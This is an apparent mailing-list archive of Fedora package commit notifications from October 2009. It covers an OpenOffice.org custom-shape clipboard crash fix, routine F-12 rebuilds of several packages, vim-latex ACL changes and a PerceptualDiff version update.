diff --git svx/inc/svx/svdoashp.hxx svx/inc/svx/svdoashp.hxx
index 10b5103..39fcf90 100644
--- svx/inc/svx/svdoashp.hxx
+++ svx/inc/svx/svdoashp.hxx
@@ -179,6 +179,8 @@ public:
 	virtual UINT16 GetObjIdentifier() const;
 	virtual void TakeObjInfo(SdrObjTransformInfoRec& rInfo) const;
 
+	virtual void SetModel(SdrModel* pNewModel);
+
 	virtual void RecalcSnapRect();
 
 	virtual const Rectangle& GetSnapRect()  const;
diff --git svx/source/svdraw/svdoashp.cxx svx/source/svdraw/svdoashp.cxx
index 73cdbd8..483859a 100644
--- svx/source/svdraw/svdoashp.cxx
+++ svx/source/svdraw/svdoashp.cxx
@@ -1678,6 +1678,12 @@ void SdrObjCustomShape::TakeObjInfo(SdrObjTransformInfoRec& rInfo) const
 	}
 }
 
+void SdrObjCustomShape::SetModel(SdrModel* pNewModel)
+{
+	SdrTextObj::SetModel(pNewModel);
+    mXRenderedCustomShape.clear();
+}
+
 UINT16 SdrObjCustomShape::GetObjIdentifier() const
 {
 	return UINT16(OBJ_CUSTOMSHAPE);


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/F-12/openoffice.org.spec,v
retrieving revision 1.2021
retrieving revision 1.2022
diff -u -p -r1.2021 -r1.2022
--- openoffice.org.spec	19 Oct 2009 09:09:59 -0000	1.2021
+++ openoffice.org.spec	20 Oct 2009 19:09:47 -0000	1.2022
@@ -1,6 +1,6 @@
 %define oootag OOO310
 %define ooomilestone 19
-%define rh_rpm_release 13
+%define rh_rpm_release 14
 
 # rhbz#465664 jar-repacking breaks help by reordering META-INF/MANIFEST.MF
 %define __jar_repack %{nil}
@@ -165,6 +165,7 @@ Patch88: workspace.vcl106.patch
 Patch89: openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch
 Patch90: openoffice.org-3.2.0.ooo105988.svx.a11ycrash.patch
 Patch91: openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch
+Patch92: workspace.impress178.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1716,6 +1717,7 @@ cat %{PATCH11} >> svtools/source/dialogs
 %patch89 -p0 -b .oooXXXXXX.vcl.sniffscriptforsubs.patch
 %patch90 -p0 -b .ooo105988.svx.a11ycrash.patch
 %patch91 -p0 -b .oooXXXXXX.vcl.dontresolve.patch
+%patch92 -p0 -b .workspace.impress178.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4249,6 +4251,9 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
+* Tue Oct 20 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.14
+- Resolves: ooo#103757 custom shape cut and paste (caolanm)
+
 * Mon Oct 19 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.13
 - Resolves: ooo#105988 a11y crash in impress (caolanm)
 - Related: rhbz#529521 add openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch



From caolanm at fedoraproject.org  Tue Oct 20 19:09:48 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Tue, 20 Oct 2009 19:09:48 +0000 (UTC)
Subject: rpms/openoffice.org/devel workspace.impress178.patch, NONE,
	1.1 openoffice.org.spec, 1.2047, 1.2048
Message-ID: <20091020190948.6AD8611C0081@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16975/devel

Modified Files:
	openoffice.org.spec 
Added Files:
	workspace.impress178.patch 
Log Message:
Resolves: ooo#103757 custom shape cut and paste (caolanm)

workspace.impress178.patch:
 inc/svx/svdoashp.hxx       |    2 ++
 source/svdraw/svdoashp.cxx |    6 ++++++
 2 files changed, 8 insertions(+)

--- NEW FILE workspace.impress178.patch ---
fix a nasty clipboard crasher in slidesorter

From: Thorsten Behrens <thb at openoffice.org>


---

 svx/inc/svx/svdoashp.hxx       |    2 ++
 svx/source/svdraw/svdoashp.cxx |    6 ++++++
 2 files changed, 8 insertions(+), 0 deletions(-)


diff --git svx/inc/svx/svdoashp.hxx svx/inc/svx/svdoashp.hxx
index 10b5103..39fcf90 100644
--- svx/inc/svx/svdoashp.hxx
+++ svx/inc/svx/svdoashp.hxx
@@ -179,6 +179,8 @@ public:
 	virtual UINT16 GetObjIdentifier() const;
 	virtual void TakeObjInfo(SdrObjTransformInfoRec& rInfo) const;
 
+	virtual void SetModel(SdrModel* pNewModel);
+
 	virtual void RecalcSnapRect();
 
 	virtual const Rectangle& GetSnapRect()  const;
diff --git svx/source/svdraw/svdoashp.cxx svx/source/svdraw/svdoashp.cxx
index 73cdbd8..483859a 100644
--- svx/source/svdraw/svdoashp.cxx
+++ svx/source/svdraw/svdoashp.cxx
@@ -1678,6 +1678,12 @@ void SdrObjCustomShape::TakeObjInfo(SdrObjTransformInfoRec& rInfo) const
 	}
 }
 
+void SdrObjCustomShape::SetModel(SdrModel* pNewModel)
+{
+	SdrTextObj::SetModel(pNewModel);
+    mXRenderedCustomShape.clear();
+}
+
 UINT16 SdrObjCustomShape::GetObjIdentifier() const
 {
 	return UINT16(OBJ_CUSTOMSHAPE);


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2047
retrieving revision 1.2048
diff -u -p -r1.2047 -r1.2048
--- openoffice.org.spec	19 Oct 2009 11:38:48 -0000	1.2047
+++ openoffice.org.spec	20 Oct 2009 19:09:47 -0000	1.2048
@@ -1,6 +1,6 @@
 %define oootag OOO320
 %define ooomilestone 2
-%define rh_rpm_release 4
+%define rh_rpm_release 5
 
 # rhbz#465664 jar-repacking breaks help by reordering META-INF/MANIFEST.MF
 %define __jar_repack %{nil}
@@ -119,6 +119,7 @@ Patch45: openoffice.org-3.2.0.ooo105988.
 Patch46: openoffice.org-3.2.0.rhbz521460.svx.revert-paper-sizes-reordering.patch
 Patch47: openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch
 Patch48: openoffice.org-3.2.0.ooo106032.linguistic.defaulttoplain.patch
+Patch49: workspace.impress178.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1627,6 +1628,7 @@ cat %{PATCH10} >> svtools/source/dialogs
 %patch46 -p1 -b .rhbz521460.svx.revert-paper-sizes-reordering.patch
 %patch47 -p0 -b .oooXXXXXX.vcl.dontresolve.patch
 %patch48 -p0 -b .ooo106032.linguistic.defaulttoplain.patch
+%patch49 -p0 -b .workspace.impress178.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4127,6 +4129,9 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
+* Tue Oct 20 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.5.UNBUILT
+- Resolves: ooo#103757 custom shape cut and paste (caolanm)
+
 * Mon Oct 19 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.4
 - Resolves: rhbz#521460 add openoffice.org-3.2.0.ooo106032.linguistic.defaulttoplain.patch (caolanm)
 - Related:  rhbz#529521 add openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch (caolanm)



From kwizart at fedoraproject.org  Tue Oct 20 19:10:57 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Tue, 20 Oct 2009 19:10:57 +0000 (UTC)
Subject: rpms/OpenEXR_CTL/F-12 OpenEXR_CTL.spec,1.7,1.8
Message-ID: <20091020191057.5AA3411C0081@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/OpenEXR_CTL/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17233

Modified Files:
	OpenEXR_CTL.spec 
Log Message:
Rebuild for F-12



Index: OpenEXR_CTL.spec
===================================================================
RCS file: /cvs/pkgs/rpms/OpenEXR_CTL/F-12/OpenEXR_CTL.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- OpenEXR_CTL.spec	24 Jul 2009 15:42:52 -0000	1.7
+++ OpenEXR_CTL.spec	20 Oct 2009 19:10:57 -0000	1.8
@@ -1,6 +1,6 @@
 Name:           OpenEXR_CTL
 Version:        1.0.1
-Release:        8%{?dist}
+Release:        9%{?dist}
 Summary:        A simplified OpenEXR interface to CTL
 
 Group:          System Environment/Libraries
@@ -109,6 +109,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 20 2009 kwizart < kwizart at gmail.com > - 1.0.1-9
+- Rebuild for F-12
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.1-8
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From kwizart at fedoraproject.org  Tue Oct 20 19:13:33 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Tue, 20 Oct 2009 19:13:33 +0000 (UTC)
Subject: rpms/OpenEXR_Viewers/F-12 OpenEXR_Viewers.spec,1.6,1.7
Message-ID: <20091020191333.58B3D11C00EB@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/OpenEXR_Viewers/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17603/F-12

Modified Files:
	OpenEXR_Viewers.spec 
Log Message:
Rebuild for F-12



Index: OpenEXR_Viewers.spec
===================================================================
RCS file: /cvs/pkgs/rpms/OpenEXR_Viewers/F-12/OpenEXR_Viewers.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- OpenEXR_Viewers.spec	24 Jul 2009 15:43:06 -0000	1.6
+++ OpenEXR_Viewers.spec	20 Oct 2009 19:13:33 -0000	1.7
@@ -12,7 +12,7 @@
 
 Name:           %{real_name}
 Version:        1.0.1
-Release:        6%{?dist}
+Release:        7%{?dist}
 Summary:        Viewers programs for OpenEXR
 
 Group:          Applications/Multimedia
@@ -126,6 +126,9 @@ fi
 %endif
 
 %changelog
+* Tue Oct 20 2009 kwizart < kwizart at gmail.com > - 1.0.1-7
+- Rebuild for F-12
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.1-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From kwizart at fedoraproject.org  Tue Oct 20 19:13:33 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Tue, 20 Oct 2009 19:13:33 +0000 (UTC)
Subject: rpms/OpenEXR_Viewers/devel OpenEXR_Viewers.spec,1.6,1.7
Message-ID: <20091020191333.4415E11C0081@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/OpenEXR_Viewers/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17603/devel

Modified Files:
	OpenEXR_Viewers.spec 
Log Message:
Rebuild for F-12



Index: OpenEXR_Viewers.spec
===================================================================
RCS file: /cvs/pkgs/rpms/OpenEXR_Viewers/devel/OpenEXR_Viewers.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- OpenEXR_Viewers.spec	24 Jul 2009 15:43:06 -0000	1.6
+++ OpenEXR_Viewers.spec	20 Oct 2009 19:13:32 -0000	1.7
@@ -12,7 +12,7 @@
 
 Name:           %{real_name}
 Version:        1.0.1
-Release:        6%{?dist}
+Release:        7%{?dist}
 Summary:        Viewers programs for OpenEXR
 
 Group:          Applications/Multimedia
@@ -126,6 +126,9 @@ fi
 %endif
 
 %changelog
+* Tue Oct 20 2009 kwizart < kwizart at gmail.com > - 1.0.1-7
+- Rebuild for F-12
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.1-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From kwizart at fedoraproject.org  Tue Oct 20 19:14:08 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Tue, 20 Oct 2009 19:14:08 +0000 (UTC)
Subject: rpms/OpenEXR_CTL/devel OpenEXR_CTL.spec,1.7,1.8
Message-ID: <20091020191408.28DD011C0081@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/OpenEXR_CTL/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17687/devel

Modified Files:
	OpenEXR_CTL.spec 
Log Message:
Rebuild for F-12



Index: OpenEXR_CTL.spec
===================================================================
RCS file: /cvs/pkgs/rpms/OpenEXR_CTL/devel/OpenEXR_CTL.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- OpenEXR_CTL.spec	24 Jul 2009 15:42:52 -0000	1.7
+++ OpenEXR_CTL.spec	20 Oct 2009 19:14:08 -0000	1.8
@@ -1,6 +1,6 @@
 Name:           OpenEXR_CTL
 Version:        1.0.1
-Release:        8%{?dist}
+Release:        9%{?dist}
 Summary:        A simplified OpenEXR interface to CTL
 
 Group:          System Environment/Libraries
@@ -109,6 +109,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 20 2009 kwizart < kwizart at gmail.com > - 1.0.1-9
+- Rebuild for F-12
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.1-8
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From kwizart at fedoraproject.org  Tue Oct 20 19:16:34 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Tue, 20 Oct 2009 19:16:34 +0000 (UTC)
Subject: rpms/Pixie/devel Pixie.spec,1.17,1.18
Message-ID: <20091020191634.F140211C0081@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/Pixie/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18286/devel

Modified Files:
	Pixie.spec 
Log Message:
Rebuild for F-12



Index: Pixie.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Pixie/devel/Pixie.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- Pixie.spec	24 Jul 2009 15:45:15 -0000	1.17
+++ Pixie.spec	20 Oct 2009 19:16:34 -0000	1.18
@@ -1,6 +1,6 @@
 Name:           Pixie
 Version:        2.2.6
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        3D renderer Renderman compliant
 
 Group:          Applications/Multimedia
@@ -120,6 +120,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 20 2009 kwizart < kwizart at gmail.com > - 2.2.6-3
+- Rebuild for F-12
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.2.6-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From kwizart at fedoraproject.org  Tue Oct 20 19:16:35 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Tue, 20 Oct 2009 19:16:35 +0000 (UTC)
Subject: rpms/Pixie/F-12 Pixie.spec,1.17,1.18
Message-ID: <20091020191635.250D911C0081@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/Pixie/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18286/F-12

Modified Files:
	Pixie.spec 
Log Message:
Rebuild for F-12



Index: Pixie.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Pixie/F-12/Pixie.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- Pixie.spec	24 Jul 2009 15:45:15 -0000	1.17
+++ Pixie.spec	20 Oct 2009 19:16:34 -0000	1.18
@@ -1,6 +1,6 @@
 Name:           Pixie
 Version:        2.2.6
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        3D renderer Renderman compliant
 
 Group:          Applications/Multimedia
@@ -120,6 +120,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 20 2009 kwizart < kwizart at gmail.com > - 2.2.6-3
+- Rebuild for F-12
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.2.6-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From pkgdb at fedoraproject.org  Tue Oct 20 19:19:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 19:19:07 +0000
Subject: [pkgdb] vim-latex had acl change status
Message-ID: <20091020191908.0084B10F80D@bastion2.fedora.phx.redhat.com>

jussilehtola has set the watchbugzilla acl on vim-latex (Fedora devel) to Approved for till

To make changes to this package see:
  /pkgdb/packages/name/vim-latex



From pkgdb at fedoraproject.org  Tue Oct 20 19:19:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 19:19:09 +0000
Subject: [pkgdb] vim-latex had acl change status
Message-ID: <20091020191909.0FB9F10F86E@bastion2.fedora.phx.redhat.com>

jussilehtola has set the watchcommits acl on vim-latex (Fedora devel) to Approved for till

To make changes to this package see:
  /pkgdb/packages/name/vim-latex



From kwizart at fedoraproject.org  Tue Oct 20 19:34:50 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Tue, 20 Oct 2009 19:34:50 +0000 (UTC)
Subject: rpms/PerceptualDiff/devel import.log, NONE, 1.1 .cvsignore, 1.3,
	1.4 PerceptualDiff-1.0.2-gcc44.patch, 1.1,
	1.2 PerceptualDiff.spec, 1.11, 1.12 sources, 1.3,
	1.4 PerceptualDiff-1.0.2-gcc43.patch, 1.1, NONE
Message-ID: <20091020193450.6EADB11C0081@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/PerceptualDiff/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23091/devel

Modified Files:
	.cvsignore PerceptualDiff-1.0.2-gcc44.patch 
	PerceptualDiff.spec sources 
Added Files:
	import.log 
Removed Files:
	PerceptualDiff-1.0.2-gcc43.patch 
Log Message:
Update to 1.1.1



--- NEW FILE import.log ---
PerceptualDiff-1_1_1-7_fc11:HEAD:PerceptualDiff-1.1.1-7.fc11.src.rpm:1256067143


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/PerceptualDiff/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	1 Sep 2008 11:34:17 -0000	1.3
+++ .cvsignore	20 Oct 2009 19:34:49 -0000	1.4
@@ -1 +1 @@
-PerceptualDiff-1.0.2.tar.gz
+perceptualdiff-1.1.1-src.tar.gz

PerceptualDiff-1.0.2-gcc44.patch:
 Metric.cpp |    1 +
 1 file changed, 1 insertion(+)

Index: PerceptualDiff-1.0.2-gcc44.patch
===================================================================
RCS file: /cvs/pkgs/rpms/PerceptualDiff/devel/PerceptualDiff-1.0.2-gcc44.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- PerceptualDiff-1.0.2-gcc44.patch	12 Feb 2009 19:04:22 -0000	1.1
+++ PerceptualDiff-1.0.2-gcc44.patch	20 Oct 2009 19:34:49 -0000	1.2
@@ -9,10 +9,3 @@ diff -up PerceptualDiff-1.0.2/Metric.cpp
  #include <math.h>
  
  #ifndef M_PI
-@@ -313,4 +314,4 @@ bool Yee_Compare(CompareArgs &args)
- 		}
- 	}
- 	return false;
--}
-\ No newline at end of file
-+}


Index: PerceptualDiff.spec
===================================================================
RCS file: /cvs/pkgs/rpms/PerceptualDiff/devel/PerceptualDiff.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- PerceptualDiff.spec	24 Jul 2009 15:44:20 -0000	1.11
+++ PerceptualDiff.spec	20 Oct 2009 19:34:49 -0000	1.12
@@ -1,15 +1,12 @@
-%define _default_patch_fuzz 2
-
 Name:			PerceptualDiff
-Version:		1.0.2
-Release:		6%{?dist}
+Version:		1.1.1
+Release:		7%{?dist}
 Summary:		An image comparison utility
 
 Group:			Applications/Multimedia
 License:		GPLv2+
 URL:			http://pdiff.sourceforge.net
-Source:			http://downloads.sourceforge.net/pdiff/%{name}-%{version}.tar.gz
-Patch0:			PerceptualDiff-1.0.2-gcc43.patch
+Source:			http://downloads.sourceforge.net/pdiff/perceptualdiff-%{version}-src.tar.gz
 Patch1:			PerceptualDiff-1.0.2-gcc44.patch
 BuildRoot:		%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -28,11 +25,7 @@ computational model of the human visual 
 This software is released under the GNU General Public License.
 
 %prep
-%setup -q
-sed -i 's/\r//' LPyramid.cpp
-sed -i 's/\r//' LPyramid.h
-chmod 0644 *
-%patch0 -p1 -b .gcc43
+%setup -q -c
 %patch1 -p1 -b .gcc44
 
 
@@ -67,6 +60,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 20 2009 kwizart < kwizart at gmail.com > - 1.1.1-1
+- Update to 1.1.1
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.2-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/PerceptualDiff/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	1 Sep 2008 11:34:17 -0000	1.3
+++ sources	20 Oct 2009 19:34:49 -0000	1.4
@@ -1 +1 @@
-c4c20697183414f30b9122bad99c96c7  PerceptualDiff-1.0.2.tar.gz
+8fbd197a4be33fc116e26478c1ff8ce7  perceptualdiff-1.1.1-src.tar.gz


--- PerceptualDiff-1.0.2-gcc43.patch DELETED ---



From kwizart at fedoraproject.org  Tue Oct 20 19:37:03 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Tue, 20 Oct 2009 19:37:03 +0000 (UTC)
Subject: rpms/PerceptualDiff/F-12 import.log, NONE, 1.1 .cvsignore, 1.3,
	1.4 PerceptualDiff-1.0.2-gcc44.patch, 1.1,
	1.2 PerceptualDiff.spec, 1.11, 1.12 sources, 1.3,
	1.4 PerceptualDiff-1.0.2-gcc43.patch, 1.1, NONE
Message-ID: <20091020193703.934C811C0081@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/PerceptualDiff/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24815/F-12

Modified Files:
	.cvsignore PerceptualDiff-1.0.2-gcc44.patch 
	PerceptualDiff.spec sources 
Added Files:
	import.log 
Removed Files:
	PerceptualDiff-1.0.2-gcc43.patch 
Log Message:
Update to 1.1.1



--- NEW FILE import.log ---
PerceptualDiff-1_1_1-1_fc11:F-12:PerceptualDiff-1.1.1-1.fc11.src.rpm:1256067373


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/PerceptualDiff/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	1 Sep 2008 11:34:17 -0000	1.3
+++ .cvsignore	20 Oct 2009 19:37:02 -0000	1.4
@@ -1 +1 @@
-PerceptualDiff-1.0.2.tar.gz
+perceptualdiff-1.1.1-src.tar.gz

PerceptualDiff-1.0.2-gcc44.patch:
 Metric.cpp |    1 +
 1 file changed, 1 insertion(+)

Index: PerceptualDiff-1.0.2-gcc44.patch
===================================================================
RCS file: /cvs/pkgs/rpms/PerceptualDiff/F-12/PerceptualDiff-1.0.2-gcc44.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- PerceptualDiff-1.0.2-gcc44.patch	12 Feb 2009 19:04:22 -0000	1.1
+++ PerceptualDiff-1.0.2-gcc44.patch	20 Oct 2009 19:37:02 -0000	1.2
@@ -9,10 +9,3 @@ diff -up PerceptualDiff-1.0.2/Metric.cpp
  #include <math.h>
  
  #ifndef M_PI
-@@ -313,4 +314,4 @@ bool Yee_Compare(CompareArgs &args)
- 		}
- 	}
- 	return false;
--}
-\ No newline at end of file
-+}


Index: PerceptualDiff.spec
===================================================================
RCS file: /cvs/pkgs/rpms/PerceptualDiff/F-12/PerceptualDiff.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- PerceptualDiff.spec	24 Jul 2009 15:44:20 -0000	1.11
+++ PerceptualDiff.spec	20 Oct 2009 19:37:02 -0000	1.12
@@ -1,15 +1,12 @@
-%define _default_patch_fuzz 2
-
 Name:			PerceptualDiff
-Version:		1.0.2
-Release:		6%{?dist}
+Version:		1.1.1
+Release:		1%{?dist}
 Summary:		An image comparison utility
 
 Group:			Applications/Multimedia
 License:		GPLv2+
 URL:			http://pdiff.sourceforge.net
-Source:			http://downloads.sourceforge.net/pdiff/%{name}-%{version}.tar.gz
-Patch0:			PerceptualDiff-1.0.2-gcc43.patch
+Source:			http://downloads.sourceforge.net/pdiff/perceptualdiff-%{version}-src.tar.gz
 Patch1:			PerceptualDiff-1.0.2-gcc44.patch
 BuildRoot:		%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -28,11 +25,7 @@ computational model of the human visual 
 This software is released under the GNU General Public License.
 
 %prep
-%setup -q
-sed -i 's/\r//' LPyramid.cpp
-sed -i 's/\r//' LPyramid.h
-chmod 0644 *
-%patch0 -p1 -b .gcc43
+%setup -q -c
 %patch1 -p1 -b .gcc44
 
 
@@ -67,6 +60,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 20 2009 kwizart < kwizart at gmail.com > - 1.1.1-1
+- Update to 1.1.1
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.2-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/PerceptualDiff/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	1 Sep 2008 11:34:17 -0000	1.3
+++ sources	20 Oct 2009 19:37:03 -0000	1.4
@@ -1 +1 @@
-c4c20697183414f30b9122bad99c96c7  PerceptualDiff-1.0.2.tar.gz
+8fbd197a4be33fc116e26478c1ff8ce7  perceptualdiff-1.1.1-src.tar.gz


--- PerceptualDiff-1.0.2-gcc43.patch DELETED ---



From kwizart at fedoraproject.org  Tue Oct 20 19:41:24 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Tue, 20 Oct 2009 19:41:24 +0000 (UTC)
Subject: rpms/python-kaa-imlib2/devel python-kaa-imlib2.spec,1.12,1.13
Message-ID: <20091020194124.266C011C0081@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/python-kaa-imlib2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26474/devel

Modified Files:
	python-kaa-imlib2.spec 
Log Message:
Rebuild for F-12



Index: python-kaa-imlib2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-kaa-imlib2/devel/python-kaa-imlib2.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- python-kaa-imlib2.spec	26 Jul 2009 20:30:41 -0000	1.12
+++ python-kaa-imlib2.spec	20 Oct 2009 19:41:23 -0000	1.13
@@ -2,7 +2,7 @@
 
 Name:           python-kaa-imlib2
 Version:        0.2.3
-Release:        6%{?dist}
+Release:        7%{?dist}
 Summary:        The Kaa Media - imlib2 binding for python
 
 Group:          Development/Languages
@@ -74,6 +74,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 20 2009 kwizart < kwizart at gmail.com > - 0.2.3-7
+- Rebuild for F-12
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.2.3-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From kwizart at fedoraproject.org  Tue Oct 20 19:43:18 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Tue, 20 Oct 2009 19:43:18 +0000 (UTC)
Subject: rpms/python-kaa-imlib2/F-12 python-kaa-imlib2.spec,1.12,1.13
Message-ID: <20091020194318.3C18111C0081@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/python-kaa-imlib2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26813/F-12

Modified Files:
	python-kaa-imlib2.spec 
Log Message:
rebuild for F-12



Index: python-kaa-imlib2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-kaa-imlib2/F-12/python-kaa-imlib2.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- python-kaa-imlib2.spec	26 Jul 2009 20:30:41 -0000	1.12
+++ python-kaa-imlib2.spec	20 Oct 2009 19:43:18 -0000	1.13
@@ -2,7 +2,7 @@
 
 Name:           python-kaa-imlib2
 Version:        0.2.3
-Release:        6%{?dist}
+Release:        7%{?dist}
 Summary:        The Kaa Media - imlib2 binding for python
 
 Group:          Development/Languages
@@ -74,6 +74,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 20 2009 kwizart < kwizart at gmail.com > - 0.2.3-7
+- Rebuild for F-12
+
